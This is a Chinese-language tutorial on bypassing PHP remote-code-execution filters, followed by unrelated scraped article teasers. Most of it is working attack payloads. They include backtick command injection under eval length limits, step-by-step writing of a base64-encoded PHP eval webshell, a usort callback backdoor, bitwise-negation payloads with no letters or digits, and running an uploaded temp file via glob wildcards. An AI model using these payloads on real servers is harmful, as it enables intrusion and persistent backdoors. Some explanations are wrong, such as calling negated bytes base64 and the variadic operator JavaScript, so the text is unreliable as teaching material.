RCE绕过技巧

news2024/9/20 11:32:42

目录

EVAL长度限制突破技巧

1.使用反引号

2.file_put_contents写入文件

3.php5.6+变长参数+usort回调后门

命令长度限制突破技巧

1.拼接文件名

无字母数字的webshell命令执行

1.取反码

2.上传临时文件


EVAL长度限制突破技巧

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。

由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;

把代码执行转换成命令执行

1.使用反引号

param=echo `$_GET[1]`;&1=id

效果:

有人就要问,不是说是限制到了17位一下吗。

因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1 的参数值。

2.file_put_contents写入文件

将一句话木马进行base64编码后追加写入文件

web.php?1=file_put_contents&param=$_GET[1](N,P,8);  

web.php?1=file_put_contents&param=$_GET[1](N,D,8);

...

web.php?1=file_put_contents&param=$_GET[1](N,w,8);

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中    */

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数

N:写入文件名

P:一句话木马的base64的编码

8:代表追加

未执行命令前的

执行后

因为像<等特殊符号,不能直接写入<,所以必须base64编码

3.php5.6+变长参数+usort回调后门

usort(...$_GET);

js中的可变长参数用...表示

?1[]=test&1[]=phpinfo();&2=assert

使用burpsuite抓包

修改GET为POST,加上usort(...$_GET);

使用的php版本最好为5.6,否则

右键->Send to Repeater

命令长度限制突破技巧

这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了

只能执行简单的命令了

1.拼接文件名

因为Linux下可以使用>a来创建文件

用ls -t来以创建时间来列出当前目录下所有文件

将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell

无字母数字的webshell命令执行

这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_

这样就不能用上面的方法了。那怎么办

1.取反码

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.

所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90   --这个是phpinfo的base64编码

~   --取反

code=(~%8F%97%8F%96%91%99%90)();

这样就可以执行

2.上传临时文件

因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制

先将本地的文件上传到服务器的临时目录 /tmp

然后在没有被删除的情况下执行起来

难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。

2.没有执行权限

解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。

成功匹配到文件

2.在Linux下可以用 . [file]来执行文件

这样两个问题就都解决了

接下来就是用burpsuite抓包

先抓demo.html和web.php包

两个包repeater

如下所示,将demo.html包中的内容复制到web.php中

将GET改为POST是要接受下面的请求体

传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码

?code=?><?=`.+/???/????????[@-[]`; ?>

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2037768.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

优思学院|日本制造的质量真的那么好吗?回顾日本的质量发展

时代不停改变&#xff0c;时移势易&#xff0c;没有事情是永恒的。 事实上&#xff0c;在20世纪40年代&#xff0c;日本产品常被认为是廉价、劣质的制品&#xff0c;并不如大家所想像的那么好。日本的工业领导者意识到了这个问题&#xff0c;决心生产出创新的高质量产品。 一…

Docker 网络代理配置及防火墙设置指南

Docker 网络代理配置及防火墙设置指南 背景 在某些环境中&#xff0c;服务器无法直接访问外网&#xff0c;需要通过网络代理进行连接。虽然我们通常会在 /etc/environment 或 /etc/profile 等系统配置文件中直接配置代理&#xff0c;但 Docker 命令无法使用这些配置。例如&am…

Python | Leetcode Python题解之第332题重新安排行程

题目&#xff1a; 题解&#xff1a; class Solution:def findItinerary(self, tickets: List[List[str]]) -> List[str]:def dfs(curr: str):while vec[curr]:tmp heapq.heappop(vec[curr])dfs(tmp)stack.append(curr)vec collections.defaultdict(list)for depart, arri…

KillWxapkg-自动化反编译微信小程序工具(附安装包)

KillWxapkg是一款纯Golang实现&#xff0c;一个用于自动化反编译微信小程序、小程序安全评估工具工具&#xff0c;小程序安全利器&#xff0c; 可以自动解密&#xff0c;解包&#xff0c;可还原工程目录&#xff0c;支持Hook&#xff0c;小程序修改&#xff0c;支持微信开发者工…

Java 实现 B树(通俗易懂)

目录 一.概念 二.节点定义 三.插入操作 1.查找位置 2.插入 3.分裂 四.B树和B*树 1.B树 2.B*树 一.概念 B树是一颗多叉平衡树&#xff0c;空树也是多叉平衡树。 一颗M阶的B树要满足以下条件&#xff1a; 1.根节点至少有两个孩子&#xff1b; 2.每个非根节点至少有(上…

iPhone微信过期图片怎么恢复?4招轻松搞定

微信作为最受欢迎的即时通讯工具之一&#xff0c;经常用来分享生活中的点点滴滴。然而&#xff0c;由于手机存储空间的限制或是误触删除&#xff0c;我们有时会发现那些曾在微信中热聊的照片不见了&#xff0c;给我们的记忆留下了空白。别担心&#xff0c;小编为大家提供了多种…

Java | Leetcode Java题解之第331题验证二叉树的前序序列化

题目&#xff1a; 题解&#xff1a; class Solution {public boolean isValidSerialization(String preorder) {int n preorder.length();int i 0;int slots 1;while (i < n) {if (slots 0) {return false;}if (preorder.charAt(i) ,) {i;} else if (preorder.charAt(…

玩AI第一步——显卡环境配置安装

目录 显卡驱动安装 CUDA环境安装 显卡驱动安装 玩ai&#xff0c;首先第一步是需要安装好显卡驱动 如果是n卡&#xff0c;则需要从官网下载对应的驱动&#xff0c;可点击下方链接去搜索自己显卡对应的驱动。 如果不知道自己是什么显卡&#xff0c;可以下载鲁大师或者驱动精灵…

线程池概述

1.1 线程池概念 在处理大量并发任务的时候&#xff0c;如果按照传统的方式&#xff0c;来一个任务请求&#xff0c;创建一个线程来进行任务的处理&#xff0c;大量线程的创建和销毁&#xff0c;将消耗过多的系统资源&#xff0c;还增加了线程上下文&#xff08;运行环境&#x…

Unity 编写自己的aar库,接收Android广播(broadcastReceiver)并传递到Unity

编写本文是因为找了很多文章&#xff0c;都比较片段&#xff0c;不容易理解&#xff0c;对于Android新手来说理解起来不友好。我这里写了一个针对比较小白的文章&#xff0c;希望有所帮助。 Android端 首先还是先来写Android端&#xff0c;我们新建一个Android空项目&#xf…

AI智能网关 边缘计算 视觉AI

随着人工智能技术的不断发展&#xff0c;AI智能网关正成为连接现实世界和虚拟智能世界的重要桥梁。作为智能化时代的关键设备&#xff0c;AI智能网关在物联网、工业、市政、无人驾驶、农业、环保、水利等领域起到了至关重要的作用。   首先&#xff0c;AI智能网关是物联网的核…

转行大模型成功进字节了!48k*15薪!

以ChatGPT为代表的大模型技术的出现&#xff0c;让算法工程师重新成了炙手可热的岗位。 现在国内各家大小厂都在搞大模型算法&#xff0c;投入了巨量的人力物力财力&#xff0c;都不愿意放弃这个百年难遇的机会&#xff0c;像字节&#xff0c;腾讯&#xff0c;京东等大厂也增加…

数学建模笔记(1):插值法

1.插值法的用途 在对数据进行处理的时候&#xff0c;我们往往会碰到由于数据量比较小的情况&#xff0c;这样的情况不利对数据进行分析。插值法就是是针对这种情况&#xff0c;模拟产生和原来数据相近的数据来为数据分析提供完整可靠的数据。 总结&#xff1a;插值法是一种自己…

RAG应用深度解析:文件解析与内容提取的技术突破

在了解完[# 落地RAG系列&#xff1a;RAG入门及RAG面临的挑战和解决方案&#xff01;&#xff01;]Naive RAG工作流程以及Naive RAG存在的问题后&#xff0c;我们将先从离线部分的文件解析开始技术分析与落地&#xff0c;朝着高级RAG的方向前进&#xff01; 文件解析的难点 在R…

Keepalived 高可用集群详解和配置

Keepalived 高可用集群 集群类型 1、LB&#xff08;Load Balance&#xff09;&#xff1a;负载均衡 LVS&#xff1a;四层负载均衡 HAProxy&#xff1a;七层/四层 负载均衡 nginx&#xff1a;七层负载均衡 (http/upstream,stream/upstream) 2、HA&#xff08;High Availa bili…

fastapi之WebSockets

文章目录 WebSockets基本概念FastAPI 中的 WebSocket 支持WebSocket 应用示例示例 1: 简单的 WebSocket 连接解释 示例 2: 广播消息的 WebSocket 实现解释 客户端代码示例 完整示例项目结构服务器端代码 (main.py)解释 简单的前端客户端 (static/index.html)解释 测试 相关代码…

交通拥堵辅助与自动化

Traffic-Jam Assistance and Automation 交通拥堵辅助与自动化 Abstract Traffic jams are situations where a high degree of automation could give a large benefit to customers. In addition, the relatively simple situation of a traffic jam means that a high deg…

使用pytest+selenium编写网页UI自动化脚本和用例

1 UI自动化测试 UI自动化测试&#xff08;User Interface Automation Testing&#xff09;是一种通过编写脚本或使用自动化测试工具&#xff0c;对界面&#xff08;UI&#xff09;进行自动化测试的方法。原理主要是模拟用户打开客户端或网页的UI界面&#xff0c;自动化执行用户…

C语言学习——函数(数组作为函数参数)

目录 8.7数组作为函数参数 数组元素作函数实参 数组名作参数函数 8.7数组作为函数参数 我们知道可以用变量作函数参数&#xff0c;显然&#xff0c;数组元素也可以作函数实参&#xff0c;其用法与变量相同。此外&#xff0c;数组名也可以作实参和形参&#xff0c;传递的是数…

【区块链教程】如何使用自动化脚本创建小狐狸地址

在很多场景下&#xff0c;不管是撸毛也好&#xff0c;批量操作也好&#xff0c;都需要使用到大量的qianbao地址。 如何一键创建&#xff0c;也成为了很多人想学的技术。 创建地址的自动化脚本可以极大地简化在区块链开发和测试中的管理流程。以下是一个基本的流程和示例脚本&am…